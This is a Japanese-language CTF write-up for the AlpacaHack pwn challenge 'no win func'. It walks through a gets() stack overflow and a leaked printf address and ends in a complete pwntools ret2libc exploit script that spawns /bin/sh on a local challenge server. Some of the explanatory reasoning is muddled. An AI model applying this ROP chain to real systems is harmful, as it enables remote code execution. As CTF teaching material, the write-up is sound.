FEAT:🚩 Daily-AlpacaHack 「no win func」Hard
printf のアドレスリークと Stack BOF を用いた Ret2Libc 攻撃を利用してシェルを奪取する問題
20260719-daily_alpaca-pwn-hard-no_win_func
Summary
本問は,printf() のアドレスリークと Stack BOF を用いた Ret2Libc 攻撃を利用してシェルを奪取する問題です.
- Category: Pwn
- Description: win 関数が無くてもシェルを取れる?
- Tools & TechStack:
- Python
- Pwninit
- Pwntools
- Pwndbg
- Release: 2026/07/19
階層構造
1
2
3
4
5
6
7
8
.
├── chal
├── compose.yml
├── Dockerfile
├── flag.txt
└── main.c
1 directory, 5 files
プログラムの概要
バイナリ保護機構
1
2
3
4
5
6
7
8
9
$ checksec --file=chal
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
- 処理フロー:
- 64バイトのスタック領域
bufferが確保される. printf関数のアドレスがリークされる.- BoF が可能な
gets()で確保したbufferに任意のサイズのデータを書き込める.
- 64バイトのスタック領域
ソースコードの調査
「win 関数が無くてもシェルを取れる?」 という問題文から,win 関数は存在せず Flag 変数も存在しない中でシェルを取る方法が必要です.
-fno-stack-protector -O0 と バイナリ保護機構 が強固にかかっているため,RIP の書き換えなどはできないようです.
また,スタック領域から,printf() の存在する .text 領域へ進むこともできません.
NO Stack Canary となっているため,唯一可能なのは BOF のみです.
そこで,現時点で悪用可能な printf 関数の Address Leak と Stack BOF を利用してシェルを奪取する方法を考えます.
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// gcc -o chal main.c -fno-stack-protector -O0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void)
{
char buffer[64]; // 64バイトのスタック領域
// printf 関数自体のメモリ上のアドレスを表示
printf("address of printf function: %p\n", printf);
printf("input > ");
// 標準入力から改行文字が入力されるまで文字列を読み込む (BoF有り)
gets(buffer);
return 0;
}
__attribute__((constructor)) void setup()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
ライブラリの抽出とパッチされたバイナリの作成
1
2
3
4
5
6
7
$ docker compose up -d
$ docker cp $(docker ps -q -f ancestor=no-win-func-simple-rop):/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
$ docker cp -L $(docker ps -q -f ancestor=no-win-func-simple-rop):/lib64/ld-linux-x86-64.so.2 ./ld-linux-x86-64.so.2
$ pwninit
Ret2Libc
ふと,ライブラリ抽出時に目に入ったコンテナ名を見てみると,no-win-func-simple-rop となっており,Return Oriented Programming 攻撃を使用するというヒントを手に入れました.
シンプルな ROP といえば,Ret2Libc1 を思いつきました.もし,SHSTK が問題サーバの環境で有効であれば失敗しますが,とりあえずやってみます.
libc のベースアドレス求める
この手法を利用するためには,libc のベースアドレスが必須ですが,printf() がリークしているため以下の 式(1) で求めることが可能です.
buffer から,RIP までの距離を測る
main() のディスアセンブルコード
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x0000000000001179 <+0>: endbr64
0x000000000000117d <+4>: push rbp
0x000000000000117e <+5>: mov rbp,rsp # スタック基準 (rbp)
0x0000000000001181 <+8>: sub rsp,0x40 # スタックを64byte確保
0x0000000000001185 <+12>: mov rax,QWORD PTR [rip+0x2e54] # 0x3fe0
0x000000000000118c <+19>: mov rsi,rax
0x000000000000118f <+22>: lea rax,[rip+0xe72] # 0x2008
0x0000000000001196 <+29>: mov rdi,rax
0x0000000000001199 <+32>: mov eax,0x0
0x000000000000119e <+37>: call 0x1050 <printf@plt>
0x00000000000011a3 <+42>: lea rax,[rip+0xe7e] # 0x2028
0x00000000000011aa <+49>: mov rdi,rax
0x00000000000011ad <+52>: mov eax,0x0
0x00000000000011b2 <+57>: call 0x1050 <printf@plt>
0x00000000000011b7 <+62>: lea rax,[rbp-0x40] # buffer の先頭 (rbp-64)
0x00000000000011bb <+66>: mov rdi,rax # 第一引数 rdi に buffer のアドレスを渡す
0x00000000000011be <+69>: mov eax,0x0
0x00000000000011c3 <+74>: call 0x1080 <gets@plt>
0x00000000000011c8 <+79>: mov eax,0x0
0x00000000000011cd <+84>: leave
0x00000000000011ce <+85>: ret
ディスアセンブルコードから,以下の 式(2) でオフセットが判明したため,72byte目までは適当な値で埋めます.
\[\text{距離} = \text{bufferのサイズ}(64) + \text{保存されたrbpのサイズ}(8) = 72\text{バイト}\tag{2}\]解法
調査した情報から,最終的なスタックレイアウトは以下になりました.
また,64bit Ubuntu環境 の仕様である MOVAPS命令2 の制約により,system() 呼び出し時にスタックが16バイトの倍数にアラインメントされていないとクラッシュします.
これを防ぐため,何もせず次の命令へ進むだけの ret ガジェットを1つ挟んでいます.
スタックレイアウト
1
2
3
4
5
[ "A" * 72 バイト ] <- buffer から RIP まで適当な値で埋める
[ pop rdi; ret のアドレス ] <- RIP を上書き (rdi に次のデータを入れる命令)
[ "/bin/sh" のアドレス ] <- rdi に入れる文字列のポインタ (pop rdi で rdi レジスタに格納される)
[ ret のアドレス ] <- スタックアラインメント調整用
[ system() のアドレス ] <- system("/bin/sh") の呼び出し
バッファオーバフローの仕組み
1
2
3
4
5
6
7
8
9
10
11
12
13
高位アドレス (上)
+---------------------------+
| 戻りアドレス (RIP) | <- 73バイト目以降でここを乗っ取る
+---------------------------+
| 保存された旧 rbp | (8バイト)
+---------------------------+ <--- 基準の rbp
| |
| |
| buffer[64] 領域 | (64バイト)
| |
| |
+---------------------------+ <--- rbp - 0x40 (getsで書き込み始める位置)
低位アドレス (下)
このスタックが配置された状態で元の関数が ret すると,CPUは以下の順序で自動的に命令を連鎖実行します.
pop rdiが実行される: スタックの次にある"/bin/sh"のアドレスがrdiレジスタに入る.- 直後の
retが実行される: さらに次のアドレス(アラインメント用のret)へ飛ぶ. - 最後の
retでsystemへ飛ぶ: 第1引数 (rdi) が"/bin/sh"で,今からsystem関数の実行状態になり,シェルが起動する.
これで,Ret2Libc 攻撃を実行するために必要な以下の情報が揃ったため,エクスプロイトコードを書きます.
また,この攻撃はすでにメモリにある libc の関数を再利用するため,NX Bit の保護機構はバイパスできます.
- Buffer Over Flow: スタックの戻りアドレス (
RIP) を上書きするため. Libcのベースアドレス特定: リークしたprintf()のアドレスから特定する.- ガジェットの存在:
pop rdi; retや文字列"/bin/sh"が必要だが,libcの中に存在するはず.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
elf = ELF("./chal")
libc = ELF("./libc.so.6")
p = remote("localhost", 12346)
# printf のアドレスを取得
p.recvuntil(b"address of printf function: ")
leak_printf = int(p.recvline().strip(), 16)
log.info(f"printf leak: {hex(leak_printf)}")
rop = ROP(libc)
# libc のベースアドレスを計算
libc.address = leak_printf - libc.symbols["printf"]
log.info(f"libc base: {hex(libc.address)}")
# アドレスとガジェットの取得
system_addr = libc.symbols["system"]
binsh_addr = next(libc.search(b"/bin/sh\x00"))
# ガジェットの指定
pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"])[0]
ret = libc.address + rop.find_gadget(["ret"])[0]
# ペイロード
offset = 72
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret) # 16バイトアラインメント調整
payload += p64(system_addr)
p.sendlineafter(b"input > ", payload)
p.interactive()
Post-Mortem & Dead ends
SHSTK: Enabled / IBT: Enabled があるから,本来だったら ret 命令による戻りアドレスの改ざんが検知されて,ROP は実行できずにクラッシュするはず.
でも,バイナリにマークがあってもホスト側が対応していかったから,実質無効だったみたい?